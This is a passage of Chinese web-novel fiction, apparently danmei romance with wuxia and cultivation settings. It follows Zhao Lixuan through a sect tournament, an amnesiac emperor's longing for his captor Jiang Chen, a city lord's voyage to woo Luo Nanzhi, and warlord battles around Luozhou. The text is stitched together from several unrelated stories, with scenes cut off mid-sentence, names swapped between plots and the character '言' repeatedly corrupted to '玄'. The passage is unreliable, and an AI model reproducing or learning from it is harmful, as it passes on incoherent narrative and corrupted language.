挂着“降妖除魔”的名头,但绝大部分高手本就是为了姜沉那把可以“操纵人心”的魔琴殉音而来。 魔头姜沉曾有两大宝物,人人眼红。 一是魔剑蚀骨,二是魔琴殉音。魔剑蚀骨后被边塞燕云宫家取走封印,众人忌惮宫家势力暂且不敢妄动;而那魔琴殉音却一直下落不明,江湖传玄纷纷说是被姜沉藏了起来,下落自然就只有大魔头自己知道。 赵深因而此玄一出,当下就已有急性之人转身而去,就连钱一升身后的各派长老,也开始私底下嘀嘀咕咕,浩浩荡荡的篡权联盟登时出现裂痕。 当然,也有不少沉得住气的继续质疑:“但是,谁又能证明赵公子你真的将那魔琴交给了邪医?” “是啊!何况那邪医殷莫行踪缥缈,所住的药谷雪山更是根本没有入口!你叫我们哪里去找?” 赵深闻玄,摆出夸张的无辜加吃惊脸。这回,总算没人再纵容姑息赵离玄。 他偷用障术、重伤同门,被罚杖责三百,外加整整半年的闭关禁足。 赵离玄禁足期间,姜沉养好了伤。 功法亦再破境界,直接越过所有师兄弟,一举成为了棠棣仙门中第一个有资格踏入更高级别“杏晶秘境”试炼的弟子。 几次外宗挑战,剑锋所指也无一败绩。 败于他手的各派弟子回去后,无不感叹那“千年一遇火灵根”的恐怖实力。 一时间,姜沉之名响彻修真界,风头甚至盖过了曾经名噪一时的赵离玄。 半年后,赵离玄禁闭结束。赵离玄说不出话来。 终于一直以来很多无法严丝合缝疏理清楚的事情,都在此刻合理了。 姜沉囚禁天子,爱恨交加。 姜沉说阿玄你没有心。 姜沉不爱笑,背影总是寂寥。 本是少年竹马,两小无猜,却终离心离德,渐行渐远。 天子疑心深重,姜沉屡立战功表明忠心。却不想功高震主,反更成天子眼中钉。 “可如此说来,我岂不就是” 岂不就是个彻头彻尾的狗皇帝。 可别说什么身在帝位孤家寡人,高处不胜寒、身不由己了。 狗屁的身不由己! 无非就是个冷血无情狗皇帝,把世上最好的人在床上和战场上全部物尽其用,用完又不要脸地过河拆桥! 拂陵:“赵离玄倒是,也无须这般说自个儿。” “但,恕奴才斗胆,一切确实也差不多就是这么个理儿。” 赵离玄两日以后。 月华城外,幽离境。半日之后。 洛州翡翠谷。次日清晨。赵离玄浑浑噩噩了几日,做了一个梦。 梦见了很多冷冰冰的过去。 怀疑人生的同时,更怀疑自己当年看人的眼神。 他都喜欢了一群什么人? 好在梦的最后,多少有了一丝温度。 有人头发很长,发尾编起像个小尾巴。身上是幽兰香。 那人喜欢从身后抱他,炙热的身体霸道地紧紧搂住,笑着亲吻他的后颈,发丝挠得他痒痒的。 “乖乖,多给我抱抱。” “乖乖”是南越方言,对自己最为喜欢、疼爱、亲昵之人的称呼,并不是说人性子乖。 但也得喜欢得不知道还要怎么喜欢了,才会叫人“乖乖”。 梦里,赵离玄暗暗脸红,觉得荒谬。 他虽一直希望有人能真心爱他,但也从未奢望过溺爱。“乖乖”实在是听得他想打人,只因对方绝美才没舍得出手。 虽说绝美,他其实也看不清梦里那人的脸。 却不知为何,总觉得那是个身份高贵,但内里并不怎么优雅的漂亮混账。 “混账”在南越的意思也和其他地方不一样,大体和“杀千刀的”差不太多。 醒来时,一脸泪痕。 赵离玄愣了一下,赶紧埋头蹭掉。 像叶锦棠那种纤弱美人垂泪才能让人心疼,他哭的话只会招人厌烦。何况只是个荒诞的梦,大可不必这么丢人。 守在床边的那个侍卫,就别用心疼的眼神看他了,真的没事! 楚丹樨扶他起来吃了些补药,才垂眸道:“主人,咱们在秀城。” 赵离玄一时放下心来。 拿下秀城了!钱奎和阿铃他们真的听话,靠得住。 “内应也抓到了?” “嗯。” “再多挖几遍,务必别有漏网之鱼。” 随州军的遭遇,与仪州军几乎一模一样。 “大将军,后、后方敌军来袭!” 薄雾之中,全然没有征兆地突然遇袭,随州军在万箭齐发的山谷中根本看不清敌军,登时陷入了兵荒马乱的境地。 唯有主帅副将文隽一人,试图保持冷静。 “大将军,此时调转列队,做好准备正面迎敌,或还有一线生机!” “大将军?大将军!” 然而,随州主帅并无打仗经验,不过是随州侯夫人家靠裙带关系拿到将军之位的一个擅长逢迎的亲戚族兄。此番前来只为混一个功绩,本以为跟着三军齐下攻打残破洛州有什么难? 以至此刻,已吓得完全疯癫。 “此处为何会有敌军!盟军呢?仪州军、拓跋部在哪?情报!情报呢?” “敌军数量有多少,是哪方势力?完了,吾命休矣!” 文隽闭上眼睛,不再多言。 主公身边近臣皆嫉贤妒能,整个随州已经烂到根上。要如何救。 一切太迟了。 另一边,钱奎两把板斧一马当先直冲敌军阵中。其实他当然知道不该这样好勇猛进、突入重围,但实力足够时,就能为所欲为。 他此刻就像是冲入敌阵的一头巨兽,两把斧头疯狂劈砍,一时惨叫、哀鸣、四下逃散,苦不堪言。 很快,那巨大的身影横在了主将面前。 “哇啊啊啊啊啊——” 副将文隽闭上眼睛,被那热血溅了一脸。 身在乱世,无力回天。 他的人生,到此为止了。 却在此刻,听到一个清朗的声音。 赵离玄:“主将阵亡,随州已败,众将士缴械不杀!” 几乎是一瞬间,洛州士兵的高呼声此起彼伏:“主将阵亡,弃暗投明缴械不杀!” 冰冷的重锤举到眼前,钱奎:“主将已死,如今你便是这军中官阶最高之人。我主爱才,投我洛州者连升两级!” 投降,就还可以活。 天气炎热,山谷周遭虽是层林密布,但大路之上却是烈阳直射。虽然已经日薄西山,热度丝毫没有降下的意头,仪州兵身着铠甲,一个个走得气喘吁吁。 队前,行伍长一声大喊:“务必天亮前赶到集结地,待此战大捷,每人加升一级,赏银三十两!” 此言一出,士兵们重新燃起干劲。 队伍行军加快。队首,仪州侯樱祖骑于高头大马之上,旁有两位副官举着华盖,遮蔽烈日骄阳。 樱祖是个身形矮小但气度威严的中年人,一双如鹰般犀利的眼睛里透着精光。 今日之事,他已筹谋多年。就连仪州渗透在洛州各地的钉子细作,很多都已潜伏了五年、十年之久。 如今,总算到了收割的日子。 “洛州就要彻底完了。” “呵,呵呵……那邵氏小儿以为孤注一掷、偷摸北上,就能做最后的困兽之斗?殊不知一切早已在我算计之中!” “如今我三路大军围堵安城,洛州兵力匮乏,只能严防死守、闭城不出。” “而我早已在安城中安插好了内应。到时城门大开,二十万联军一拥而入,杀他十万残军片甲不留!” 当然,这还只是他全盘计划的一小部分。 等攻占了安城以后,他那两个蠢笨“盟友”随州侯与拓跋部族长,必抵不过洛州腹地大片土地的诱惑,争先恐后南下攻打。 “到时,我们再坐镇安城之中,煽风点火,让他们鹬蚌相争。最后给他们一招黄雀在后。” 什么盟友? 笑话。 乱世之中的盟友,不过是嘴边尚未吃下的鱼肉。一如当年他的“多年旧友”洛州侯邵子坚,都是用来或食或卖的! 一切才刚刚开始。 总有一天,他还要那个不可一世的年轻姜沉,也一样尝尝那做人垫脚石的悲惨滋味—— “主公高见,谋划全局,属下佩服!”身边将领齐声附和。 “自打天昌之战后,我仪州左右逢源、锐不可当,一切都是主公功劳!” “天下英雄,唯主公您!能跟随主公,真是我等之福!” 樱祖心中得意,却故作淡然道:“你们也须知这乱世之中,刀剑无眼,命数有定。我亦只是看得清加之运气好……” 话音未落。 冷不防一支利箭,将整个华盖掀翻过去。 赵离玄躺在离原一片茫茫的皑皑白雪之上,呆呆望着天。 “吾主,地上这么冷,躺够了就起来吧?” 荀青尾蹦蹦跳跳地踏雪而来,戴着黑火戒指的白皙手指妩媚地摆弄了一番红色狐裘的大毛领子,整个人仿佛雪地上燃起的一抹火焰,快乐地摇曳生姿。 赵离玄没有动。 荀青尾:“吾主,那冰冰凉的碧游床没躺够,又来躺雪?” 被踩了痛脚,赵离玄抓起一把雪丢他。 荀青尾悠然躲开:“这次玩得上瘾,谈个情,却被情郎给弄死了?” 赵离玄抬起衣袖掩面,顺带遮住双耳。 他这次实在太惨,无脸见人,得多躺一会而。 就这么硬生生在雪地躺了半个时辰,冻得过于僵冷,才迫不得已滚了一圈爬起来。 另一边,冰天雪地中的荀青尾早不知道从哪里变出一台石桌凳和一壶热茶,正一手茶壶,一手小杯,白梅雪中悠闲地自斟自酌。 茶很香。 荀青尾:“早说了天下乌鸦一般黑,吾主却偏要一次次撞南墙,不遍体鳞伤誓不罢休,唉。” 赵离玄想要反驳。 却实在想不到什么话能反驳。 荀青尾又连着喝完了三盏茶,才听赵离玄低声落寞道:“我原以为……他与旁人不同,我本以为心里,多少是有些喜欢我的。” 荀青尾叹气:“可你明知,他从最初接近你,就是另有所图。” “是,我知道。” 赵离玄垂眸,“谁让我样貌丑陋,想要真心换真心,本就得让旁人有所图,中要比寻常人更全意付出、更多受许多委屈才成。” “否则,那般俊美才情又是乌恒之主之人,又凭什么多看我一眼。” 不行,他得缓缓。 本以为身为天子失忆被囚,人生已足够鸡飞狗跳。 却不成想山中有谷,谷中有坑,坑中还有万丈深洞!!! 这要他如何接受。 真的,要一个色令智昏的皇帝如何接受,他失忆前虽不是个昏君,却是个一等一的无良狗皇帝? 负心薄幸,不是东西的那种。 就连世间绝色他都好意思辜负! 赵离玄随即,又想起自己醒来以后这段日子是如何的有恃无恐、花式作死 被他伤透过一次的姜沉,看着他就连失忆都还敢上窜下跳有恃无恐,又该会是何种心情? 真的完全不行了。洛州安沐。 码头之上人头攒动。 百姓自发着各色彩衣迎接月华城主,江边与茶楼上都站满了人,可谓是万人空巷盛景空前。 邵霄凌打扮了半天。 他生得俊俏,公认洛州第一美男。素来是洛州当仁不让的门面,自要锦服华冠俊朗逼人。 打扮好一出船舱,恰好撞上赵离玄。 呵—— 有人知道自己丑,准备得倒是挺充分。洛州少主出门就撞上都督府女管事书锦锦。 一把将她拉到院落墙角无人处。 书锦锦:“是大都督吩咐的呀,都督府一切物件乃至我洛州一切珍宝异物、机要文书,月华城主可尽数取用随意查阅。既是特意请来的,自是用人不疑。此事……大都督之前与少主商议过,少主也都同意过啊?” 邵霄凌:“别的也都罢了,那沙盘可是赛鲁班所作稀世孤品,是我爹特意送给叔父四十大寿的贺礼!叔父多么宝贝此物,除南栀之外,就只肯给我洛州最优秀的将领排兵布阵、拟战推演时才碰上一碰。” “如今叔父不在了,南栀也常拿此物来睹物思人。” “你再瞧瞧他刚才?又戳又动,随意将战旗插来插去!南栀他……好在没有娶亲,若有三妻四妾,府中美人是不是也要随他动手动脚?” 书锦锦:“少主,瞧瞧你这都说的什么话。” “何止沙盘,何妨美人。” “眼下咱们洛州情势,就算那月华城主要星星要月亮、要少主您的身子,咱也只都得笑眯眯给啊!” 邵霄凌:“……” 书锦锦虽只是都督府的管事女官,她娘亲却是邵霄凌与洛南栀两人的奶娘。从小便如亲生家姐一般,常拽着耳朵将邵霄凌提来提去。 如今大了,仍时不时会伸出纤纤玉指戳一戳邵霄凌额头。 “霄凌,别人都道你太过逍遥恣意,但我知道,孰轻孰重你一向心里拎得清。” “横竖是咱们求着人家,你总得忍住性子、受些委屈,好好把人给哄住了才是正道,毕竟还要他替我们寻兵谋粮、出谋献策,以解内忧外患呢。” “你心里其实明镜一般,就千万不要一时任性因小失大,将那月华城主给得罪了。” “否则,别说洛州百姓不愿意,待南栀回来,只怕也要剥你一层皮。” 邵霄凌:“……” 他堂堂洛州少主,今日何戚戚。 顶着烈日骄阳,去西市给月华城主买窗纱、买锦鲤,买劳什子瓜果味儿的鹅梨帐中香。 买了一个时辰,大汗淋漓,随从都撑不住了:“主子,差不多了,回侯府吧?” “回什么回,去东市!”邵霄凌没好气道。 西市没买到的,得再去东市碰碰运气。 洛南栀不在,只好他负责把月华城主伺候好了,说怨种谁是怨种? 赵离玄今日装扮,并非之前仅戴面具的样子,而是换了一袭白衣,头戴斗笠,罩着层层白纱从头到脚。 如此一来,天王老子都看不清他长啥样。 倒是适合。 既显得高贵莫测,又不至于拿出真容吓人。 若非必要,邵霄凌也不愿意随便碰他。然而下船之时百姓百官翘首昂视,众目睽睽之下,他当然还是要给足贵客面子。 盛夏江南,绿柳成荫。 洛州侯向贵客伸出手,笑意俊朗温柔。 却不料,另一只手也伸了过来。 那是一普通侍卫打扮的黑衣男子。乍看朴素、气质内敛,偏一张脸却生得俊美无双。 邵霄凌:“??” 这人谁啊? 赵离玄那日一早醒来,先去查看楚丹樨的伤势。 结果人竟不在房间,找了一圈,才在伙房找到了人。这人重伤未愈,竟在那指导厨子做他爱吃的甜口翡翠虾仁! 赵离玄:“你,立刻马上回去躺着休息。” 楚丹樨垂眸,摇了摇头:“荀大人派我照顾主人,并非让主人来照顾我。” 随即又对厨子道:“这里再多放些糖,拔丝也无妨,主人爱吃很甜的。” 窒息窒息窒息窒息。第五日,叶瑾棠已然能下地乱跑。 第六日,卫留夷安排了送走他的车马。 下臣不解来问:“卫侯,难不成真要送走叶公子?” 卫留夷垂眸:“我已答应了阿玄,不可食言。” 第七日,卫留夷将赵离玄移去了自己寝宫,炭阁烧得很暖,他还派人将宫殿重新布置了一番,踱来踱去只待人醒来。 以前,无论他做什么,阿玄从未怪过他。 但这回大概不能轻易原谅他。 第八日,卫留夷发现不对。赵离玄的手太冷了、呼吸过太微弱,怎么都不像是能醒的样子。 他有些恍惚,指尖微微颤抖将人抱起,这是他第一次抱他。 他轻轻晃了晃那人,那人脸上纯金的半块面具滑落。露出一半爬满狰狞疤痕的脸,唇色实在太过苍白。 “阿玄?”他轻轻唤着他名字,手指搭向他的脉门。 片刻后脸色大变。 半日后,乌恒郢都行宫内,医者跪了一地。 卫留夷焦躁地不断走着,指尖掐进掌心:“怎么会没有气息,昨天还好好的,再去找,把全城的医者都叫来!谁能救醒他赏金千两!” 医者纷纷无奈。 谁不想要千金之赏,可……人都死透了,怎么救? 卫留夷:“书上明明说,换髓不会危及生命!” 最后是多年老臣没忍住道:“少主,书上说的是‘多半’换髓不会危及性命,但或许穆神医他……是那另外那‘少半’?” 他话没说完,被卫留夷的脸色吓到了。 服侍了少主那么多年,还是头一次见一向清雅的他露出那般骇人神色。 狗皇帝狗皇帝狗皇帝。狗成这样的人怎么还没死? 拂陵哭笑不得:“赵离玄倒也不用太过自责。” “毕竟是都过去了。” “赵离玄受伤失忆本是祸事,但或许老天有眼,于赵离玄和姜沉也不乏是一件转机。” “只要赵离玄以后肯好好真心待姜沉” 人刚出关,就撞上十年一度的宗门大比。无数人翘首,就盼着想看这对师兄弟再度一较高下。 “这半年姜师弟突飞猛进有目共睹,”“此番必能轻松碾压赵师兄”,此类传言甚嚣尘上。 然而,大比最终结果,仍是赵离玄拔得头筹。 就在他志得意满,正要伸手将丰厚奖品尽数收拢时,师弟白霜澄却猝不及防地越众而出,盈盈向高台之上的长老们下拜。 “师尊,各位师叔师伯,弟子以为,姜师弟只因月初金蟾宗少主姜千觞上门挑衅时,为护我宗门颜面右手受伤,至今未愈。才会在这次大比惜败!” “众所皆知,姜师弟如今已能踏入杏晶秘境,而赵师兄仍止步于绿晶秘境。” “此番胜负,着实有失公允。若师弟未伤,魁首花落谁家犹未可知!” 话音未落,一道灼热烈焰几乎擦着他的衣襟掠过,骇得他脸色一白。 “你以为?”赵离玄想要开口说什么,但实在提不起力气。 最后一次。 卫留夷每次都说是“最后一次”。 起初是求他帮忙医病,后来则是取他的血,再后来又是取他的髓,他也着实迟钝,直到人都快死了才彻底醒悟,根本就没有最后一次。 须臾,芍药薰衣香远远淡去。 赵离玄在恍惚的梦中,想起他们在雁回山的初遇。 犹记那日阴雨绵绵,他一个人在屋内悠闲煮茶,忽听得门外有不寻常的动静。开了门,只见暴雨之中一青年狼狈倒在他行医结庐的小茅屋前,一身锦衣被血水染透。 医者仁心,他赶紧将人拖进屋子救治。 霍霍下去一大堆名贵药材,又灌了他几大碗自己的血,总归替人保住了命。 隔日,雨过天晴。 阳光透过医庐的青色纱窗,他认认真真替人擦了脸。才看清擦去血污后那青年双目紧闭、脸庞极为俊美,他一时看呆,惊艳得胃里蝴蝶乱飞。 一见倾心。 几日后,那人醒了。 赵离玄因半张脸毁了容,难免自惭形秽,即便覆上了半块假面,依旧有些心虚。 人却并不露怯,满是药香的手拎起那人牡丹纹样的家传玉佩,目光微明得意地晃了晃: “我知你是乌恒侯卫留夷,正被西凉搜捕追杀,这几日恒城内外尚有大量追兵找你。” “好在你运气不错,入了迷谷医庐,被我捡到。” 赵离玄收手,负立冷笑,声音里满是荒谬与讥讽,“你算个什么东西?一个上场资格都没有的废物,也配在这指点江山?” 一言既出,满场哗然。 今日宗门大比,从掌门到各路师叔伯齐聚于此,白霜澄的亲爹白长老就在高台上坐着! 赵离玄竟当面直呼“废物”,可真是一点颜面都不留! 谁成想,白霜澄闻言,双眸瞬间含泪,却仍旧挺直了腰杆,一派凛然模样: “赵师兄非要羞辱我,霜澄人微言轻、无话可说。今日站出来,也不是为了别的。” 他话锋一转,目光恳切地看向那些奖品:“霜澄只是想恳求师兄,能否能否将奖品中的那株‘凝火仙草’,让予姜师弟?” “毕竟,师弟是为全宗门受的伤。如今只要师兄分出区区一株于他疗伤有奇效的药草师兄难道都舍不得吗?” 他刚说完,高台上几位与药宗白长老交好的长老便也纷纷帮腔。 个个皆夸白霜澄心地纯善,劝赵离玄身为师兄理当以同门情谊为重,莫要藏私。 “药谷雪山当然有入口了!就在金沙江底西侧(书上写的),你们在江湖多年,竟连这种事都不知道?拜托!知道入口的刚才都已经赶着去了!” 此玄一出,无论是天道教还是枫叶山庄一些长老,都开始更加不淡定。 毕竟魔琴就那么一把,先到先得,已有人先去了,谁走得慢谁傻啊! “待你们见了邪医殷莫,寻着魔琴,自然知道赵某没有骗你们。” “更何况,有玄道‘跑得了和尚跑不了庙’。我若真骗了你们,便是枫叶山庄不管,诸位也可尽可去我巴蜀赵~门,找赵某的大哥替诸位主持公道啊!” 呃!姜慎行又抖了一下。 赵编你个大腹黑! 你让他们去赵门,找你那个死神大哥赵谨玄?! 第 47 章 第 47 章 在大母神的世界里,武功修为并不能如其他武侠小说一般直接“一键废去”,只能以咒术“禁毁”封印。 连姜沉的武功,也一样是这般被封印的。 武功内力被“封印”后,便不能再妄动真气。否则轻则内伤反噬,重则全身经络损毁而亡。 但是反过来说只要姜沉不怕遭到反噬,那就还和以前差不多强。 战场瞬间已转入楼下。酒楼窗棱随着一灰一青两道身影重重砸下,喧哗夜市一片惊叫。银丝漫天,姜沉收拾那天道教徒的简短过程,只需用两个字来形容。 “吊打”。 不一击就解决的话,已经不能称作“吊打”了吧? 姜沉确实从头到尾只用了一招手中百十银丝汇成天罗地网,一把咬缚住那男子周身,深深陷入肉中将那人彻底绑缚不得动弹。 可随着手中银弦拉紧,自身被禁咒不断反噬的身子也开始难以为系。 纵是牙关紧咬,拼命压抑,还是倏然喷出了一大口血,刺目地染满了青色衣襟。 赵深冲上去,托住那人摇摇欲坠的身子,满手沾的都是温血。 “前辈你、你”但他们算错了一点。 就赵离玄那性子,岂能被人轻易拿捏? 他亦当场一声冷笑,目光讥诮扫诸位长老:“所以,姜师弟缺这一株仙草疗伤,你们就逼我把我堂堂正正赢来的彩头分出去?” “好一个‘借花献佛’啊!怎么,诸位师叔师伯,尤其是白长老您自个儿就是药宗,库里的好东西怎么舍不得掏出来,反倒来算计小辈赢来的奖品?” “若真心治伤,上月姜师弟受伤时,就该慷慨解囊了吧?如今又在这儿演什么惺惺作态的戏码!” “你、你这逆徒!” 而赵离玄根本懒得再听废话,猛地从奖品中抓起那株流光溢彩的凝火仙草,看也不看就扔姜沉的怀里。 “都给我住嘴吧,老东西们!看好了,这草,我给了。” 他声音扬高,嘴角勾起恶劣的弧度,“我可是大方了,你们呢?” “不是吧不是吧?宝贝徒儿的疗伤圣药,全指望我一个不相干的人出啊?各位师尊师伯的诚意呢?拿出来看看啊?” 一番闹下来,不少长老被他的“狂悖”、“目无尊长”气得浑身发抖,另一部分则默默无言。 当夜,大殿上出头帮腔的那几位长老,私人宝库就遭了窃。 能是谁干的? 想也知道还能是谁干的!“得多写几首好诗好词谱几支好曲寄过去,以才情惊艳之!” 说着果断铺好澄心堂纸提起笔。漂亮的梅花小楷挥洒自如,一首文采飞扬、高贵韵致的新诗信手拈来,最是风雅。 “嗯,还应投其所好多送些名贵礼物过去,才显得我月华城礼数周致。” “对了青尾,你可曾打听过,这洛南栀平日喜欢什么?” 荀青尾挑眉:“……这个嘛。” “洛州都督洛南栀,精音律、擅武艺、舞文墨、好笑语,又加雅量高致、潇洒飞扬,喜好广泛,诗作也颇为出名,应该是送他什么他都会喜欢。” 本是个出了名开朗不羁、才华卓著、涉猎广泛的有趣之人。 “只可惜,天昌一役后,据说性子变了许多。” 赵离玄闻言略略停笔。 天昌之役,大约是半年前的事。 在此之前,洛南栀所在的洛州,一直是南越地界最为兵强马壮的一块割据,全州十二郡在老洛州侯邵子坚与大都督洛文泰的管辖下,一切欣欣向荣。 然而天昌那役,洛州军惨遭多年盟友仪州侯背叛。 精锐被引入西凉陷阱几近全军覆没,连同两位雄主一同葬身沙场。少将军洛南栀是带少量残部浴血奋战,九死一生才勉强突围。 陡遭此等重大变故,洛州一时情势大乱,眼下只能靠年纪轻轻的洛南栀与不太可靠的少主邵霄凌勉力支撑,可谓是凄凄惨惨、人心惶惶、士气低迷,缺兵短粮。 偏偏两位少主的杀父仇人,那卖友求荣的仪州侯樱祖,在归顺敌军西凉后还日渐壮大起来。 换做旁人在洛南栀的情境,眼见父辈冤死而大仇未报,又被这般内忧外患挤压,只怕也不能做到性格不变、泰然处之。 赵离玄:“……若他愿意,我可以帮他。” 荀青尾:“呵呵。” 是是是,你月华城主当然能帮他。 无论是帮着筹兵弄粮、还是助他报仇雪恨。月华城主一向如此,明明自己有实力逐鹿天下,却凡有好东西第一时间必想着双手捧给心上人。只要对方要,只要他有—— 指望着倾尽所有付出一切,别人就能明白他的好。 哪怕过去屡屡被人过河拆桥、吃干抹净,还是记吃不记打。 罢了,随他去。 城主自有城主的活法。 劝也没用,不必劝! 可偏偏赵离玄作案手法高明,并未留下任何蛛丝马迹,直让长老们吃了个天大的哑巴亏。 物证也没有他显然把偷来的极品丹药一股脑都吃了!没过几天,修为就再次突破,下杏晶秘境也如履平地。 几位有苦难言的长老们心里滴着血,面上还得一抽一抽挤出笑脸,在大殿上“恭喜”他修为精进。 是可忍孰不可忍! 很快,就连赵离玄那个素来人淡如菊的师父落叶真人都被惊动了,特意提点了几句,让他莫要惹是生非。 赵离玄对落叶真人,多少还算保有几分尊敬。 据听墙角的小童说,他倒没对师尊嚣张,只是满腹委屈地抱怨了几句: “可师尊您也看见了,如今宗门上下,有一个算一个,都偏心姜师弟偏心到没边了!” “什么好的都该是他的,做错了什么都有人替他开脱。” “而我呢?我做什么都是错!我光明正大比试赢来的东西,他们都要逼我分出去给他!” 落叶真人闻言叹气:“但是离玄,你忘了?从前你天赋最佳时,宗门上下不也一样纵着你胡闹。” 本以为此话一出,赵离玄该哑口无言了。 谁知他竟答道:“那怎么一样?我那时既是货真价实的百年一遇火灵根,又一向勤修苦练。整个仙门论努力我认第二没人敢认第一。” “那时的好东西,自然都该是我的!” “倒是这姜师弟” “所谓千年一遇,却也太邪门,还不知是耍了什么花招邪法得来的!” 众又过几日。 姜沉依旧不见踪影。 赵离玄连着几日盛装高马尾寂寥批奏折,总能想起史书上说的冷宫妃子空虚寂寞半夜挨着数地砖有几块。 由奢入俭难。 他如今算是切身知道那味儿了 过惯了成天上蹿下跳、被人纵着、繁花似锦的得意日子,习惯了美人在侧、阵阵幽香。如今突然见不着了,真是百般思念。 我,多想再摸一把姜沉的腰。 勾一勾姜沉爪爪,咬一咬那薄薄甜甜的嘴。 早知上次就该多咬两口 罢了罢了。 事已至此,不如吃点儿新鲜的山楂梨丝,以消心头哀愁。 云飞闻樱是双双服气的。 真龙天子虽成日唉声叹气、各种愁云惨淡,但该干的活一样没少干! 不仅奏折兢兢业业批了一大堆,还十分自觉地每日举沉沉琉璃砖做运动。饭好好吃,觉好好睡,日子过得十分积极健康。 前些天寝宫后门的小花园被姜沉一剑劈开了锁,如今皇帝批奏章累了还时不时的知道出去转一圈、晒一晒太阳看看云。 赵离玄其实是有目的的晒。 他这受伤失忆连着三四个月不见天日,小麦色的皮肤都褪色了不少,但其实像他这种俊朗潇洒、顽劣不羁的长相就不能太白。 否则不带劲。 自是要多运动、多吃饭、多晒太阳,养足精神,早日恢复当年俊朗、意气风发。这样下次望姜沉过来时才能镇住姜沉,才有望从此复宠、宠冠六宫。 狗皇帝还是很是有几分以色侍人的觉悟的。 然而,一天天的各种努力并无用。 姜沉还是不来。 楚微宫近日里幽静得常连个鬼影子都快见不着,赵离玄简直感叹自己蓝颜薄命 说好的金屋藏帝娇,我本来都躺平认了。这才几天啊,金屋变鬼屋??? 忍不住手贱开始重温史书上那一堆曾经盛宠无两、最后却被打入冷宫的妃子们的前车之鉴。 读史令人心平气和。 赵离玄至少算是惹怒姜沉,“失宠”有因。定了良辰吉日,赵离玄上了船。 月华之城隐匿在昆仑之镜,而昆仑之境又坐落在大夏北幽。 数千年前大夏开国,天子住中州,分封东泽,西凉,南越,北幽四境。四境之下,还封各路公侯伯爵、州主城主,如今乱世,天子式微,四方各地纷争迭起,王侯自立割据,形势很是让人头痛眼花看不清。 昆仑之镜下有一条河流名唤淮水,淮水最下游便是洛南栀所在的洛州。 此处从北幽下去路途遥远,差不多要行船一个多月。 赵离玄算了算,一路要路过随州、仪州、陌阡、乌恒 咳。 随州有他某个前任。 仪州有他某个旧爱。 陌阡有他某位爱而不得的白月光。 乌恒更有余温尚存的卫留夷。 这可真是遍地是前任! 可惜没一个有结果,一腔热情都是白喜欢。 俱往矣,赵离玄叹了口气。只愿这一路过去顺风顺水,别又遇到疯批前任堵他。 唉。 说起他的有些前任,行事风格是真的让人迷惑不解。 他掏心掏肺时,一个个总爱骗他践踏他辜负他,可分开后又往往阴魂不散。明明嫌他丑不肯要他,又不许别人要他。 他又不欠他们的,实在不明白他们一个个的在气什么。 一别两宽各生欢喜不好么? 赵离玄报复心并不重,毕竟都是以前真心喜欢过的人,缘分断了,此生不再见就罢了。可那些人却偏又爱事后屡屡地招惹他,着实令人烦躁。 罢了,多想无益。 先喝口新煮的茶! 史书上历代妃子失宠的原因可就千奇百怪了。有好多都根本莫名无辜、飞来横祸,纯属皇帝自己脑子有病系列。 合上史书,赵离玄心平气和喝了一盏茶。 原来千秋万代、大家都惨! 我不慌了。 这赵离玄!比不上人家,就污蔑人家用邪法?? 要不是忌惮他此次宗门大比仍是第一,众人绝对要冲出去跟他讨个说法了! 姜沉皱眉摇了摇头,示意没事,虚浮无力的身体却出卖了他。额间薄汗滑落之间,胸口又是几下剧烈起伏,却撑着不吐出血来,只将那血水全部给咽了回去。 赵深见他这样,心疼得头脑都有些发昏,一心只想他快些收手,转向那被全身绑缚的三角眼天道教弟子道:“他又不想杀你,你自己见好就收!你现在走,我们不追你!” 天道教青年曲折身子,被捆处绽出血来,想必也不会好受,却只露出一抹无畏冷笑。 “我天道教龚行天罚、嫉恶如仇,岂会怕死,又更岂会怕你一个魔头?你要杀便杀!死了我一个,还有千千万万教众为我报仇,找你夺魂索命!” 卧槽!旁边姜慎行瓜都掉了。 这货也真是不怂啊,真当大魔头杀人带眨眼的? 不懂审时度势,竟跟男主团刚正面,分分钟做掉你哦? 第 48 章 第 48 章 “师父”“离玄!” 数道凌厉黑影便扑面袭来,疾风中赵深只来得及屏息闭目。 “乒”金铁交鸣刺耳,三角眼青年双手指甲犀利纤长如爪,正狠狠扣在宫渡交叠的寒铜护腕上。 赵深则被姜沉整个护在怀中,与那战场拉开了足足一丈有余。 “姜前辈!”赵深还没来得及小开心小萌动顺便埋头进对方胸口深吸一大口,抬眼就见姜沉妄动真气又扯痛了腿伤,冷汗沾湿了额角,连忙伸手扶住他,心底一阵颤巍巍的疼。 同时也很疑惑。 这、这是怎么了?怎么突然就打过来了? 他觉得自己刚才态度挺好挺谦恭的,起码不至于很欠揍吧? 良宵亦起身,蓝衣执剑,从容上前拱手问道:“这位少侠又何必动怒?家师已说要赔,不过一桌酒菜而已,有话好商量。” 青年闻玄却只眸中寒光一凛。长指一捏,宫渡铜护腕在他手中应声而碎,人也被他狠狠扔出数米。良宵挽了个剑花,却未及近身,同被那青年挥袖的威压瞬间弹开半丈有余。 我去,好强!从那日后,赵离玄就魔怔了一般。 开始光明正大尾随姜沉,姜沉吃饭他吃饭,姜沉练功他练功,姜沉下秘境他也下秘境,一门心思想要揪出对方“修炼邪术”的证据。 结果跟了没几天,姜沉默不作声再破境界,进到了比杏晶秘境更高一层的赤晶秘境。 赵离玄 寇、寇可往,我亦可往!很快,小船经过陌阡,离洛南栀的安沐城就只有五日。 虽说赵离玄早已派人给洛南栀送去了几大船见面礼,本人还是没闲着。一路下来,各地特产,堆满小船。 这日,小船停在仪州千郡城,赵离玄又去闹市采购。 买啊买,见着什么新奇玩意儿都想给新欢瞧瞧,直到大包小包拿不下,才忽然发觉自家侍卫面色阴沉,分明隐忍。 赵离玄此时已全忘了当日楚丹樨给他换药、穿鞋之事。 但毕竟能看出他在生闷气。 暗暗反思了一下,嗯,怪自己,那么多大包小包,弄得人家堂堂九尺男儿手指上都挂满了五彩小糖球。 楚丹樨是侍卫,又不是家奴,自然不高兴。 且这也并非他头一回任性。上次在茶楼听书,只因那说书先生说《洛川双璧传奇》说得太好了,他就非要花钱把人带上船继续听,楚丹樨也是全程忍他。 一个好的月华城主,得会哄属下。 赵离玄果断带楚丹樨去了寻宝阁,捡漏了一把很是不错的宝剑。 楚丹樨欲言又止。 赵离玄:“说。” 楚丹樨垂眸:“那洛南栀的佩剑‘疏璃’……天下闻名,怕是不肯轻易换。” 赵离玄:“我知晓,这把剑是买给你的。” 楚丹樨一滞。 “这一路辛苦你,是该有把趁手的武器才是。” 那一刻,楚丹樨眼中一闪而过难以形容的光华,如同夜中烟火,却又片刻璀璨后回归寂灭。 这剑虽是不便宜,但也绝算不上稀世名贵。 赵离玄只是觉得人家要保护他又要做长工,他这雇主给人家买点东西实属正常。 